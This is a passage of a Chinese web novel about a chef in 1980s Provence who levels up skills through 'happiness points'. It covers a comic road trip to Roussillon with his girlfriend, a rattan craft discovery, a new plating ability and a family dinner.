罗南并不确认将【烹饪】升级后是否可以解决他想要达成的目的,因为谁都无法预测下一级的能力是什么,【采集】就是例子。 不过他现在的确需要将【烹饪】能力尽快提升一下,不要忘记,雅克先生给罗南的建议是去参加普罗旺斯地区的烹饪比赛,借此把中餐和餐厅的名声打出去。 罗天海运营餐厅可以,距离去参赛可能还有一段距离.罗南现在当然更不行了。 他判断至少需要把【烹饪】升到5级才有去参赛的资格,也有可能需要更高。 不过现在的进度嘛 【3级建造:0\2000】 【4级种植:0\5000】 【3级采集:0\2000】 【3级烹饪:0\2000】 【1级捕鱼:0\100】 【1级打猎:0\100】 【1级酿酒:0\100】 【1级制陶:0\100】 【1级玻璃烧制:0\100】 【1级编织:0\100】 【可使用经验:1496】 其实罗南现在获取【幸福度】的速度和之前比已经快很多了。 吃父母做的饭涨经验、和父母一起吃饭涨经验、开车兜风涨经验、和佐伊亲密互动涨经验.这些全部是新出现的获取【幸福度】途径,而且新的途径还在不断出现。 7月下旬把【种植】升到4级时剩下577点【幸福度】,现在8月上旬多出来了近1000点,放到几个月前1000点要存一个多月呢。 “但还是需要更多的【幸福度】啊。”罗南躺在床上,看着面前的浅蓝色字幕小声嘟囔。 连做了一周多家具,是时候给自己放一个小小的‘假期’了。 很快罗南笑着闭上眼睛: “不知道佐伊有没有兴趣去其他村子练练车?” 旅游可以让人幸福、和女朋友旅游更加让人幸福、和女朋友手拉手一起旅游更更幸福! 歌迪亚从佐伊家收走了20多个盘子和杯子,给了佐伊11000法郎左右的报酬,再加上玻璃展上那13个作品的收入,佐伊不到一个月赚了2万多法郎,赚钱能力几乎和罗南持平。 有了钱的佐伊可以投入更多的精力做艺术品了,相应的制作材料也要进行升级。 “什么时候去鲁西永买赭石颜料?”这一天罗南晚上去佐伊家吃饭,问起了她的行程。 佐伊前几天说她要去鲁西永。 那是罗南一直想去的几个吕贝隆村庄之一,他打算陪佐伊一起去。 “后天早上,爸爸后天才有时间。”佐伊淡淡的说。 佐伊拿驾照三年了,不过开车的机会很少,以前去梅纳村和索格岛需要带许多器具一起,几乎全部是路易或者其他村民送她去,后来有了‘专职司机’罗南,就更没有什么机会开车了。 不过她最近正在抓紧一切机会练车,希望能早日独立开‘长途’,只不过车上需要有人陪着。 “不用麻烦路易了,我陪你去。”罗南笑着说,“我当你的陪驾。” 佐伊意外的问: “不用赶工了?” 罗南小幅度的挥舞了一下刀叉: “你一有时间就来帮我,进度快了许多,肯定可以在工期内做完那些桌子和椅子,而且要劳逸结合,不能一直闷头干活。” 罗南多了一套专业机械设备,又多了一个得力帮手,效率快了不知多少。 “那好啊。”佐伊开心的答应下来。 和罗南练车肯定比和爸爸练车有意思多了。 小情侣一拍即合,路易却极力阻拦: “我陪佐伊去吧,她还需要练习。” “我陪佐伊练。”罗南得意的对佐伊说,“咱们开敞篷车去。” 每次罗南开DS19带佐伊兜风都能收获不少【幸福度】,他猜佐伊开车带他应该也可以获得。 不开你爸爸那辆‘破车’了,咱们开好的! “嗯——”佐伊的表情迟疑了,“还是别开你那辆车了。” “为什么?”罗南诧异的问。 你不是很喜欢坐DS19兜风吗? 佐伊低头把额间的碎发整理到耳后: “我现在还不太熟练,万一磕碰到.” 罗南‘毫不在意’的挥手: “保险杠不就是为了磕磕碰碰才装的吗?没事。” 路易表情复杂的看罗南: “你坐过佐伊开的车吗?” 罗南点头: “坐过一次。” 路易的表情更复杂了: “什么时候?” 罗南回忆着说: “3月份吧,我从索格岛买了一套木工工具回来,佐伊开车把我从我家带到这里,去看她的木工工坊。” 罗南大概猜到路易纠结和犹豫的原因了,继续补充道: “我们不赶时间,慢慢开没事。” 罗南家和路易家步行10分钟的路程,佐伊开车花了6、7分钟吧,但对于新手来说慢没有关系,最重要的是安全。 路易欲言又止的看了几眼佐伊,最终对罗南说: “佐伊现在开的比以前快一些了。” 不用赶路易的时间,佐伊和罗南第二天一早就动身了。 鲁西永四面环山,路途上全是不好走的山路,考虑到这30公里的山路可能会耗费不少时间,罗南不到8点就到了佐伊家门口。 佐伊出门,发现罗南坐在明黄色的敞篷跑车上,‘嗔怪’的问: “怎么还是开这辆车来了?” 罗南从驾驶位换到副驾驶,拍着椅背说: “美丽的约会当然要有一辆美丽的座驾,尤其是和这么漂亮的女士出去。” 佐伊纠结了一下,还是打开了车门,坐下来问: “这辆车是不是和爸爸那辆车是一个牌子的?” “对,都是雪铁龙的,操作基本一致。”罗南指着仪表盘给她解释,“但这里不一样的,我改装了——” 话到一半,罗南已被巨大的推背力甩回到座椅上,后面的单词随风飘扬,遗留在了路易家的院子里。 “亲爱的,你开太快了。”罗南双手慌乱的四处乱摸,寻找安全带的踪迹。 上帝,还好他保留了安全带。 罗南怎么也想不到他居然在吕贝隆这种‘蛮荒之地’使用上了普罗旺斯人根本不需要的东西。 佐伊的表情平静的像是在开‘摇摇车’,但她问出来话让罗南更紧张了: “右脚踩刹车对吧?” 罗南看着仪表盘上不断攀升的车速,脸色煞白的说: “对,村子里的路比较窄,别开那么快。” “好的。”佐伊的语气乖巧听话,但车子却用更快的速度冲了出去,掀起一大片路边行人的裙子。 罗南握着把手大声喊道: “减速减速!” 佐说不好意思的笑了一下: “忘记油门也在右脚了” 罗南失声尖叫: “上帝!” 佐伊平静的安慰罗南: “我虽然脚下还不熟练,但方向盘控制的还不错,不会轻易磕碰到的。” 说着,她给罗南表演了一个‘快速过弯’。 罗南叫的更大声了。 佐伊清脆悦耳的笑声在卢尔马兰村里回荡开来: “你的车比我爸爸的车好开多了,我没怎么踩油门它就这么快了。” 几个好事的村民从家里跑出来,看着驶离的明黄色车尾羡慕的说。 “罗南又和佐伊出来兜风了。” “这次居然是佐伊载罗南。” “罗南这个幸运的家伙一定开心坏了吧?” 第181章 进入了另一个世界 “还是跟你出来练车轻松。”佐伊欢快的说,“我爸爸总是用各种理由劝我放弃开车,他说坐车比开车舒服一万倍,但他坐我开的车时看起来一点都不舒服,所以方向盘还是要掌握在自己手里。” 她笑着看罗南: “其实我开得也没那么糟对不对?只是需要更多的练习。” 罗南像是刚刚从地中海里打捞上来一样,普罗旺斯的30度高温和大太阳始终没有把他的衣服晒干: “你开得很不错,但如果能更慢一点就好了。” 佐伊终于把速度降了下来,心情相当不错的说: “该快的时候快,该慢的时候慢,我心里有数,现在到可以减速的时间了。” 她指着山路两侧或黄或橙的山说: “喏,那些就是赭石矿。” 罗南一路上太过紧张,注意力全部在佐伊和车上,竟然没发现,他们已经进入了另一个‘世界’。 目之所及,绿色的田野似乎拉上了一层新的大幕,一片赭红,一片灿烂。 “真神奇,这里距离卢尔马兰只有30公里,但感觉完全不一样了不,这里和任何一个地方都不一样,像是戴上了橙色的墨镜看世界。”罗南看着路旁的景色说。 “鲁西永拥有欧洲最大的赭石矿床。”佐伊把车速降到很慢很慢,以求让罗南看清两侧的赭石矿峭壁。 “我想起来了,你给我讲过赭石的‘故事’!”罗南语气欢快的说,“你说大天使加百利和一群堕落天使殊死奋战,他们的血染红了泥土,从此世界上有了赭土矿石。” 佐伊笑的格外开心,她很开心罗南记得她说的所有事,不过. “那是睡前‘童话故事’,这里拥有赭石矿床是因为普罗旺斯在2.3亿年前被一片海洋覆盖,经过几亿年演变普罗旺斯浮出水面,之前沉积在海底的堆积物有的形成石灰岩,有的形成赭石矿普罗旺斯的矿产资源非常丰富。” “是被大自然深情拥抱过的土地。”罗南感慨道。 佐伊清脆的笑起来: “我发现你也挺有‘艺术’天分的。” 罗南尴尬的耸肩: “演技吗?” “不,如果你不开餐厅了,我可能会建议你去当作家。”佐伊煞是认真的建议。 罗南摸着下巴认真思考了几秒: “但我不想和你抢‘卢尔马兰最厉害的艺术家’头衔。” 普罗旺斯人非常喜欢给旁人封以各种头衔,并且在各种场合使用。 罗南在老酒馆听到有人这样说过: 伙计,你知道卢尔马兰最棒的农夫和卢尔马兰最棒的松露猎人为什么能成为好朋友吗?是因为他们都喜欢踢卢尔马兰最懒村民的屁股! 佐伊用宠溺的语气说: “很好,我喜欢你的自信。” 美景在旁,美人在侧.罗南终于有一些‘幸福休假’的感觉了。 他伸出右手,手掌朝上,放于两个人的中间,含情脉脉的说: “没有自信怎么能配得上自信到闪闪发亮的你?” 佐伊也伸出右手。 罗南笑着过去牵她。 但佐伊的手在半空突然急速下坠,落到挡把上: “我有自信15分钟内开到鲁西永,这样我们买完颜料还能找个不错的餐厅吃午饭。” 随着一阵引擎咆哮,罗南的‘幸福’被远远的甩了下来。 罗南放弃了在开车途中和佐伊牵手的打算,那会让他们两个人处于更加危险的境地。 普罗旺斯人开车非常‘狂野’,这一点在罗南买第一辆车时就深有体会。 但他真的无法理解,最重视安全和防护的佐伊,也有成为飙车一族的潜质。 也许是刻在普罗旺斯人血脉里的基因觉醒了? 为了让佐伊慢一点、再慢一点,罗南不得不表现出对路途两侧每一花,每一草的好奇,希望佐伊能看在他这个巴黎佬什么都不懂的面子上,降低车速让他多看一看。 15分钟后,一个红土色的小村庄出现在山路的尽头,罗南终于能问点自己感兴趣的东西了: “前面那个就鲁西永了吧?” 鲁西永同样是一个‘鸟巢村’,它位于赭石色的山脊上,层层叠叠的房子、钟楼和教堂,如画家笔下的绚丽油画一样,橙色、黄色、土红色交替变换,让后面的天空都显得明亮了几分。 “是的,那就是鲁西永,拉丁语翻译过来是‘红色的山’。”佐伊点头道。 罗南对鲁西永的印象同样来自21世纪评选的‘法国最美丽村庄’,这个村庄也名列其中。 但这里和卢尔马相比,自然环境和风景的优势太大了.村子的后面还有一座高大的雪山。 “那是阿尔卑斯山脉其中的一条支脉?”根据方位,罗南给出了这样的判断。 “没错,那是旺图山,沃克吕兹省最高的山脉。”佐伊又抛出了一个罗南不知道的知识点。 听到名字,罗南脱口而出: “旺图山,环法自行车赛中的一个重要赛段!” 佐伊可爱的撇了一下嘴: “谢天谢地,我终于能在你身上学到一些知识了。” 罗南很想平摊双手,做出一个‘这没有什么’的手势,但他的手并不想离开扶手太远,即使现在的车速并不算快: “我们认识的时间还是太短了,慢慢你就会发现,我也是个‘学识渊博’的人。” 缺少了关键的肢体动作和手势,罗南所表达的气势弱了许多。 佐伊用‘哄孩子’一般的敷衍语气说: “好的,那我可太期待了。” 赭石颜料可以和粘土混合到一起,烧制出颜色鲜艳的陶瓷制品。 但由于这种材料烧制出来的成品颜色非常自然,所以售价昂贵。 以前佐伊买过500g,根本不舍得用,据说半年才消耗完那一小罐。 但现在她钱包鼓起来了,人也有底气了。 不仅今天要大买特买,还要去鲁西永口碑和质量最好的赭石颜料店。 罗南在路上远远的看鲁西永,就觉得这里已经很美很美了,把车停好走入这个赭红色的‘世界’后觉得这里更美了. 这里不同于普罗旺斯其他村庄的石色房屋,村里每一栋建筑的外墙上都会涂抹上黄、橙或土红色的颜料,走在这里的街道,感觉一切都不真实了。 佐伊不是第一来,但和罗南的感触是一样的: “住在这里的人一定很幸福吧?这里太美了.” 罗南默默叹了一口气。 未来卢尔马兰居然和鲁西永一同被评选为‘法国最美丽的村庄’? 这太让人匪夷所思了! 布兰科到底把卢尔马兰‘改造’成什么样子了? 第182章 中式元素 鲁西永是同样被游客青睐的普罗旺斯村庄之一。 不过在这座村庄里漫步的游客和在其他村里的风格不同,他们走的更加悠闲,似乎每一个店铺和每一座建筑都可以吸引他们的好奇心。 罗南在鲁西永走了几分钟,还发现了另一个不同之处: “这里有很多画廊啊?” 他们只是走了1条街就看到了四五个画廊,这密度比‘金三角’的梅纳村和伯尼约高多了。 佐伊点头: “鲁西永的别名除了‘红土城’,还有‘艺术之城’。” 罗南追问: “这里也曾经生活过著名的艺术家吗?” 佐伊笑着摇头: “那倒是没有,不过浓烈的色彩会让人联想到激情和艺术,走在鲁西永的街道上,即使不懂艺术、对艺术没什么兴趣,也会忍不住去艺术商店里看一看.这便是你说的村庄‘特色’吧。” 见罗南颇感兴趣,佐伊建议道: “买完颜料我们在鲁西永逛一逛。” “好。”罗南痛快的答应下来。 【与异性发生亲密身体接触幸福度增加50点】 佐伊主动拉起罗南的手,加快了脚步。 罗南开心的跟在她身边。 幸福的假期终于开始了! 阿斯特丽德说过,鲁西永附近的赭石行业发达,不少人因此赚到了钱。 这一次罗南算是彻底体会到了. 一瓶500g的赭石颜料标价25-45法郎不等,佐伊一次性订了30多瓶不同的种类。 老板一边喝酒,一边随意的写订购单: “买这么少,试色?” 佐伊在一排排色彩鲜艳的赭石颜料里穿梭: “是的,给我一个你的电话,如果满意让你送货。” 老板把单子和电话递给她: “我这里的颜色是鲁西永赭石颜料里最多的,烧出来的东西既干净又漂亮,你一定会喜欢。” 从颜料店出来,罗南撇着嘴说: “你做的东西价格还是要再提一提。” 上帝,这些原料太贵了! 佐伊笑着在罗南的下巴上摸了几下,这是她表达喜欢的‘独特’方式: “做器具的时候不用它们。” 做器具的时候不用,那就是做艺术品的时候用喽? 罗南有些好奇的问: “我在你家看到的那些玻璃和陶瓷结合的小动物,售卖的价格是多少?” 佐伊四处看了看,找到了一个前进方向: “艾克斯的艺术品商店想5000法郎买。” 罗南后仰了一下脑袋: “那么高!” 佐伊对罗南摆了摆手,示意他这边走: “但是我没卖,它们在格拉内博物馆展览时的标价是9000法郎,不过歌迪亚让我把价格提到15000法郎,她说有些人听过我的名字,可能会抱着投资的目的把它们收走,她是个‘专家’,我按照她的建议提价了。” 罗南小跑着追上去。 前面那个富婆,请等等我!! 鲁西永不愧为吕贝隆的‘艺术之城’。 画廊里的作品题材多样,有反映日常生活和本地风光的,也有静物和写实主义绘画。 而且除了画廊,还有许多其他类别的艺术品商店。 夏日的阳光透过屋檐上的藤蔓,洒落在陶瓷小店门口的褐色陶瓦罐上,仿佛在讲述那些年代久远的故事。 店铺里的艺术家在转架上创作,周围围了好几个围观的游客。 还有专门卖铜器的商店、做布艺的商店. 时间在这里似乎被摁下了休止键,大家不疾不徐的观察周围的每一人、每一物。 “所有到了鲁西永的人都会放慢脚步。”佐伊和罗南并排站到一起,看某个商铺内的艺术家工作,“在村外有一条‘赭石小迳’,两侧什么都没有,只有无穷无尽的赭石矿场,但游客就是愿意顶着烈日走上一个小时,甚至两个小时。” “也许这就是艺术的魅力吧?”罗南继续向前走,“‘赭石小迳’没意思,以后在卢尔马兰搞个‘艺术小径’,游客顺着这条路可以了解大艺术佐伊出生的地方、生活的地方、工作的地方我可真是天才,给布兰科想了一整条旅游线路。” 佐伊笑着说: “歌迪亚的艺术品商店能开起来我就谢天谢地了。” 她突然用下巴指路边的某个商店: “进去看看。” 佐伊对一切手工艺都感兴趣,看到有意思的店铺就会进去看看。 不过进入这家店铺后,罗南表现出了极大的热情和兴趣。 他停留在一件特殊的艺术品前不肯离开——那是一捧‘木色’的花。 “这是——”见多识广的佐伊居然没有第一时间说出这种工艺的名称。 意外的是,佐伊不了解的工艺,罗南却猜出了大概,他问老板: “这是藤编的还是草编的?” 老板是个上了年纪的老妇人: “藤编的。” 佐伊颇为意外的问罗南: “你居然知道?” 藤编工艺在法国并不常见,在欧洲只有瑞典、英国和意大利有专业工坊。 “我说过,我也是个‘学识渊博’的人。”罗南终于可以补上那个‘这没有什么’的手势了。 佐伊想到什么,恍然大悟的问: “这种工艺在中国很普遍?” 她听朋友讲过,藤条编制技艺在欧洲发扬受益于亚欧贸易的往来,19世纪藤料被源源不断的送往欧洲。 罗南点头: “是的,我家有藤编的杯垫,我妈妈说他们小时候会用藤编的篮子买菜,在中国除了藤编,还有草编和竹编的生活用品,都可以在大家的日常生活中见到。” 他兴奋的问商铺老板: “做这个的艺术家在鲁西永吗?” 1986年的欧洲,藤编家具虽然还没有在移动互联网的带动下成为‘波西米亚美学’的重要代表,但也出现了意大利Bonacina等高端品牌。 在21世纪,这家意大利百年老店的中古家具一椅难求,价格炒到了几万美元一把。 这说明藤条的运用是符合欧洲人审美的,只不过此时还没有流传到法国。 这段时间,罗南一直在思考如何给餐厅装点上‘中国元素’,其中就考虑过使用这种流传了几千年的手工工艺。 藤艺在亚洲大部分国家都很常见,草艺和竹艺编织更是被纳入了中国国家级的非物质遗产,如果能将这种元素加入到餐厅里肯定会起到画龙点睛的作用。 罗南猜测系统里的【编制】技能对应的应该就是这些手艺。 不过‘旱地拔葱’的突然做出这种小众工艺品一定会引起他人的怀疑,在法国想找一个会这个的人都难所以这个想法也只是在罗南的脑袋里短暂的出现过一下,很快便放下了。 今天,他在鲁西永意外发现了这种工艺品的出现。 说明普罗旺斯很有可能有会这种工艺的人啊! 罗南不相信这个店主是去意大利、瑞典或者意大利进货的。 只要能接触上这个人,再想办法和他‘学习’一下,罗南就可以自己做了。 但店主歉意的摇头: “不在,这是我在艾克斯的特色艺术品集市‘淘’来的。” 佐伊给罗南解释: “艾克斯的特色艺术品集市和索格岛的跳蚤市场一样没有人监管,摊主每周都不一样。” 罗南的心瞬间凉了。 这不成大海捞针了? “还有什么其他信息吗?我想认识这位艺术家”罗南继续追问。 那店主仔细回忆了许久,不太肯定的说: “他大概30多岁,很瘦很白,旁边的人似乎叫他潘、帕尼或者巴蒂.我只记得这么多了。” 离开这家艺术品商店,佐伊见罗南在走神想事情,问他: “你为什么这么想认识那个艺术家?” 罗南实事求是的说: “我想在我的餐厅里点缀这种工艺,它很适合我想要的风格。” 佐伊一听原来这件事这么重要,表情也严肃下来: “我回去就给艾克斯的朋友们打电话,让他们找找这个人。” 罗南快速整顿心情,笑着四处打量: “不着急,我们在鲁西永吃一顿艺术的午饭再回去。” 毫无疑问,今天是一趟充斥着浓郁艺术气息的假期。 于是佐伊和罗南询问村民鲁西永最‘艺术’的餐厅在哪里,想把今天的主题贯彻彻底。 本以为‘艺术’的餐厅不会被游客喜欢,没想到这里居然有等位置的人,无法直接进入。 “换一家吧?”佐伊问罗南,“早点吃完早点回去,帮你找人是正事。” 罗南认真打量这家看起来其貌不扬的餐厅: “这也是‘正事’,咱们路过的其他餐厅都没有等位置的人,而且这里看起来面积不算小,生意这么好我得进去学习学习。” “行,听你的。”佐伊对罗南的决定没有异议。 等待的时间一点不无聊。 小情侣手拉着看看天、看看地,实在没得看就靠在一起说说悄悄话。 不管罗南是否能在这家餐厅学习到什么,今天都是收获满满的一天,各种意义上的‘幸福’都拉满了。 大约过了半个小时,他们终于步入了这家生活火爆的餐厅。 门头朴素,内部的装修也朴素,罗南由此判断吸引客人的关键因素大概率在餐食本事上了。 当服务员把佐伊点的开胃菜摆上桌时,罗南和佐伊的表情同时变了。 佐说笑着拿起叉子,跃跃欲试的想要尝一尝: “确实挺‘艺术’的。” 每道菜用了不同的容器摆放,摆盘也把法餐的精美风格演绎到了极致。 罗南则露出了思索的神情: “你说会有人因为这家餐厅的餐具好看而特意来吃饭吗?” 佐伊想了想: “会不会特意来吃我不知道,但我知道那些餐厅和咖啡厅的老板都挺舍得在器具上下功夫的。” 罗南点了点头,这是他从来没有思考过的元素: “明白了。” 还是得没事多出来看看,又学习到了。 佐伊幽幽开口: “你的餐具我给你做。” “我不是这个意思!”罗南猛得抬头。 佐伊砸了一下嘴,不悦的说: “我的作品配不上你的餐厅吗?” “不是不是。”罗南紧张的解释,“不用麻烦你,我用不了那么高级的。” 佐伊现在最便宜的盘子和杯子也要至少300法郎了,全部让她做,那是多少钱? 有这功夫肯定卖别人去啊! 佐伊不容置疑的说: “必须用我做的,等我看到你的装修风格就可以开始设计了,你不要觉得那会浪费我的时间,做杯子和盘子很快的,我的窑大,几炉就可以做完。” 罗南推脱道: “到时候再说吧,我还在思考要装成什么样子呢,那个艺术家找不到,我说不定要重新设计后期的配饰。” 佐伊和罗南的器具‘争论’一直到正餐上桌后才结束。 “这也太夸张了.”佐伊不知道如何评价了。 她甚至都没有看这是什么食物,注意力全被夸张的摆盘和装饰物上吸引了。 罗南笑着说: “但我猜大部分人都是冲这些摆盘来的。” 这家餐厅确实很有特色,罗南认为他又学到了东西——形式和内容同样重要,尤其对于法国人来说。 这让罗南有了一个大胆的想法: 那些无法改良口味的中式特色菜,可以在‘形式’上和本地人贴近吗? 第183章 感谢主的馈赠! 鲁西永之行可谓是收获满满。 佐伊就是罗南最大的【幸福度】加速器。 他没有动过‘刷分’的歪念头,只是正常游玩一天就多出了300多点。 当然,罗南也不会动刷分的念头。 系统比他更加清楚幸福是什么——有些人幸福的时候不自知,有些人自认为的‘幸福’也不一定是真正的幸福。 幸福是一种发自内心、无法掩饰的满足。 除了【幸福度】的收获,罗南还发现了一种非常适合餐厅装修风格的中国工艺。 佐伊除了请艾克斯的朋友寻找那个做了藤编鲜花的艺术家外,还在同时打听有没有其他会这种工艺的人。 只要找到人,罗南会马上去‘拜师学艺’,之后开始做家具和配饰的升级。 鲁西永的人气餐厅也让罗南重视起了餐具和摆盘这些他之前忽略了的细节。 ‘装修’所涵盖的不止是装潢、家具和配饰,还有门头、餐厅logo、餐具、员工服装等一切可以表达餐厅态度的东西。 这些都要在稍后开始筹备起来了。 而摆盘的艺术同样重要,那将直接影响客户对餐厅的评价。 不过摆盘不是罗南想做好就能做好的,罗天海都不懂法餐里摆盘的艺术。 想要有所提升,罗南只能盼望接下来的【烹饪】升级能给他带来这方面的能力。 但系统给的能力太随机了,完全无法判断。 “你看起来有心事啊?” 商业街的树荫下,托马斯问思绪飘飞到不知哪里的罗南。 今天只有他们两个人在这里乘凉。 歌迪亚近期突然‘发奋’了,不知道是不是收了佐伊那批货有了压力,每天在店里忙碌,不怎么出来休息。 罗南点了点头: “马上要面对一些事情,但不确定是不是个好结局。” 升级4级【烹饪】的幸福度在今天吃早饭后凑够了,但罗南没敢升。 如果这次没有能帮助他的能力,下次升级【烹饪】可能要到餐厅开业之后,那就太晚了。 托马斯热心的给他建议: “当你拿不准主意的时候,去教堂吧,主会给你启示。” 罗南努力控制自己的表情没有什么起伏: “感谢你的建议托马斯,不过这件事可能去教堂不合适。” 托马斯收敛起笑容,认真的说: “没有什么事情是主不能解决的。” 罗南意识到托马斯应该是一个虔诚的信徒,努力润色道: “那是一件和‘神启’有关的事,我恐怕要独自面对。” 托马斯无比郑重的拍了拍罗南的胳膊,语气温柔的像是一个神父: “去教堂吧罗南,主时刻都在关注着我们,你无需独自面对。” 罗南皱眉看向老教堂的方向。 那就去试试? 罗南当天便去了卢尔马兰老教堂。 结果是喜人的,回到餐厅他真的开出了满意的能力。 4级【烹饪】带来的改变有两个,两个都是罗南非常需要的。 第一个能力提升了他的刀功。 此刻他手边只有刀,没有食材,只能去树丛里找试验品。 ‘唰唰唰唰唰唰——’ 不到五分钟,后院的树上出现了一只憨态可掬的杜宾犬‘剪影’。 罗南现在的刀法有多‘炉火纯青’呢? 树皮一片没有掉到地上,全部落于刀面。 4级【烹饪】带来的第二个能力,是罗南现在最需要的——提升了他对‘美学’的理解能力。 现在罗南脑海里的菜,变成了一幅幅‘画作’。 色彩的搭配、透视与结构、光影视角和无限提升的想象力罗南真想马上大展身手一番,不过现在没有条件。 他二话不说将所有树皮重新贴回表面。 很快杜宾犬变成了脸上布满胡子、一身毛发的刚毛犬,罗南甚至还把马赛的眼神修饰的‘善良’了些许,让它看起来人畜无害的。 卡福用惊恐的眼神从罗南身边走过。 罗南开心的站起来: “晚上去我家吃饭吧?大家最近辛苦了。” 庆祝! 大大的庆祝! “不了不了不了。”比牛还壮的卡福飞也似的逃跑,那刀太吓人了。 邀请卡福受拒,罗南转头去找托马斯,向他传达了这个好消息。 “感谢你托马斯,我的愿望成真了,今晚去我家吃饭吗?叫上歌迪亚一起。” 装修进行半个月了,罗南和他们二人的饭始终没有吃上。 不要再等了,就今天吧! 岂料托马斯也把罗南拒绝了: “罗南,你现在最该做的事情不是庆祝,而是去准备还愿物,我能看出主给了你极大的帮助,你应该用心的做一个还愿物感谢主的馈赠。” 罗南皱着眉头呼出一口气。 用心的还愿物吗? 罗南早上是愁眉苦脸走的,回家时依然是愁眉苦脸,只不过愁的事情不一样了。 他不知道要用什么东西做还愿物. 还愿物可以理解为许愿的祭品,当一个人祈求奇迹的祈祷得到回应时,就要去还愿。 还愿物不仅用于祈求者,它们会被挂在教堂里,作为个人信仰和对奇迹感激的公开见证。 还愿物的种类繁多,还有地域性特征。 罗南在马赛参观守护圣母教堂时,看到教堂里的还愿物包括绘画、匾额、模型船、战争勋章甚至当地球队马赛奥林匹克的球衣。 而在和马赛距离不远的蒙特利尔,那里的教堂铁栅栏上固定着数百根拐杖、手杖和十字架,这些朝圣者声称在会见安德烈修士时得到了治愈。 有些地方的还愿物是被弹夹击中过的头盔,代表那里有在战火中侥幸存活下来的老兵、有些地方的还愿物是圣母玛利亚的牌位 但无论选择什么还愿物,都要体现在这次祈愿中你得到了什么。 但罗南祈愿来的‘摆盘’能力如何体现呢? 那找不到任何象征物。 如果无法用象征物体现祈愿的内容,也有两种选择。 一个是留下记录奇迹的文字,这个更不可能了.神父会请罗南喝圣水的。 那么只剩下最后一个选择——画画。 用画作描绘出祈愿者得到的奇迹。 虽然不是最理想的选择,但画会让内容变得抽象起来,起码‘安全’。 做好决定后,罗南马上找来画笔和画板。 “正好试试看我新得到的美学能力。”罗南兴奋的举起画笔。 托马斯是一个虔诚的信徒。 每天早上5-8点间一定会进行祷告,每周二五的晚上会去教堂上晚课。 和歌迪亚混熟了后,他偶尔也会邀请歌迪亚一起。 “你最近在忙什么?”去教堂的路上,托马斯问歌迪亚。 黑眼圈配上歌迪亚的爆炸头,让她看起来更摇滚了: “忙着尽快开业,旅游季就要结束了。” 现在已经进入了普罗旺斯旅行季的尾巴,9月一到,这里就将恢复到时隔半年的清净悠闲。 店主们都希望在这之前赶紧把店开起来回一口血,下次回血要等到明年4月份,那之前的几个月,他们的生意会和气温一样持续降低。 托马斯点头表示理解: “我这周就要开始进家具了,下周的这个时候应该可以开业。” 歌迪亚忧心忡忡的说: “我还要晚一些,艺术品商店对灯光的要求比较高,第一版灯光方案做出来试了一下,完全不满意,现在在让工人尽快调整。” 托马斯热情的给她建议: “你可以让罗南去帮你看看,他是设计师。” 歌迪亚摸了摸头发: “他最近一定也很忙,谁不想在旅行季之前开业?不去麻烦他了” 托马斯想了想说道: “罗南的餐厅进度一直比我们快,说不定现在已经弄的差不多了,遇到他我帮你问问。” “那好吧,谢谢你托马斯。”歌迪亚笑着说。 两个人很快走到卢尔马兰老教堂。 他们同时被门口还愿墙上一副新出现的画作所吸引。 其他的还愿画只有笔记本大小,但这张画足足有近一米长,更奇怪的是画上的内容——上面像菜单一样密密麻麻全是食物。 那些食物生动无比,栩栩如生,每一个细节无不勾得人‘食指大动’。 托马斯甚至没忍住,用力吸了两下鼻子。 歌迪亚眼神凌厉起来,用专业的口吻点评: “色彩搭配完美、透视和结构顶级、光影视角无可挑剔,最难得的是这恐怖的想象力.这是哪个大画家‘技痒’用还愿画创作了?” 托马斯大惊失色的指着画的一角说: “上帝,这是罗南的还愿画!” 托马斯和歌迪亚异口同声的喊: “罗南的餐厅要开业了吗?都宣传到教堂了??” 第184章 父子齐心,其利断金! 托马斯和歌迪亚在老教堂欣赏画作的同一时间,罗南已经开心的回家,准备用菜作画了。 摆盘的能力得到了。 还愿画的问题也解决了。 终于可以开始干正事! 只不过家里除了父母,还有一个‘专家’在。 弗雷迪挺着肚子站在罗南家门口,似乎已经等了很久: “听说你今天要下厨?” 集市上的生意稳中有升,罗天海也经常要在家里试做许多餐品,罗南家对肉类的需求量很大,弗雷迪会定期来送肉,不需要他们开车去买了。 今天下午,弗雷迪来送明天集市上卖锅包肉所需的猪肉,意外听说今晚罗南要露两手。 自从罗南父母来到普罗旺斯,罗南就很少下厨了,主厨变成了罗天海。 嘴馋的弗雷迪好久没吃过罗南做的中餐,工作结束家都没回,直接来了这里。 罗南笑着把弗雷迪迎进去: “你来的正好,我们正需要一个‘专家’,留下一起吃饭吧。” 弗雷迪一点没客气,迫不及待的问: “今晚吃什么?” 罗南用下巴指厨房: “你去看看我爸爸今天做了什么。” “嗯?”弗雷迪看向厨房方向,“不是你做吗?” 一扭头,罗南人没了。 弗雷迪摸着脑袋,扭着大屁股去厨房: “不是要‘露两手’吗?” 罗南洗完澡,罗天海已经把饭做好,菜都出锅了,只是还没上桌。 罗天海问罗南: “后面怎么弄?” 罗南中午告诉父亲,让他照常做饭,不用等他。 罗南第一次用菜‘作画’,手下没有什么底,还愿画从一张小卡片画到一米多长.灵感来了挡都挡不住。 担心时间太久,耽误大家吃饭,罗南只留了一道‘练练手’,其余的让他们先拿出去: “后面的我自来,你们不用管了,弗雷迪在美食领域绝对是专家,快让他尝尝爸爸做的‘改良’味道。” 连罗南和冯珍都是几天前才看到罗天海‘葫芦里卖的是什么药’,这些普罗旺斯人还没有尝到过罗天海的改良手艺。 罗南又嘱咐弗雷迪: “今天你大胆的提意见,这是对我们的帮助,别不好意思。” 后院用餐区。 弗雷迪和罗南一家是老熟人了,一周至少见两三次,罗南让他们先吃,他们就真的先吃了,没必要客气。 桌子上摆了四道菜,但弗雷迪的第一个目标是他的老朋友——锅包肉。 这是他的中餐‘白月光’,怎么吃都吃不够。 虽然不是罗南做的,但‘菀菀类卿’.它也是锅包肉啊。 但还没到嘴边,专业吃货弗雷迪就发现了区别: “和罗南做的方法不一样?” 罗天海笑呵呵的点头; “对,我改良了做法。” 这是罗南让他做的‘升级款’锅包肉。 如果弗雷迪的反馈好,明天就要在集市上卖这个版本了。 弗雷迪心里有些小小的不舒服。 变了做法,还是‘白月光’吗? 既然罗南让他大胆点评,他就要好好说说老罗了.把‘白月光’给我还回来! 弗雷迪小小的咬了一口,‘点评’的话已运行到嘴边,但被第二口、第三口第二块、第三块锅包肉死死‘砸’了下去。 一连吃了三块后,弗雷迪指着这碟锅包肉问: “如果剩下了,我可以带走吗?” 新的‘白月光’出现了! 比之前的更加让人心动!! 冯珍把锅包肉推到弗雷迪面前: “放开了吃,不够让老罗做一盘给你带走。” 弗雷迪叉起第四块: 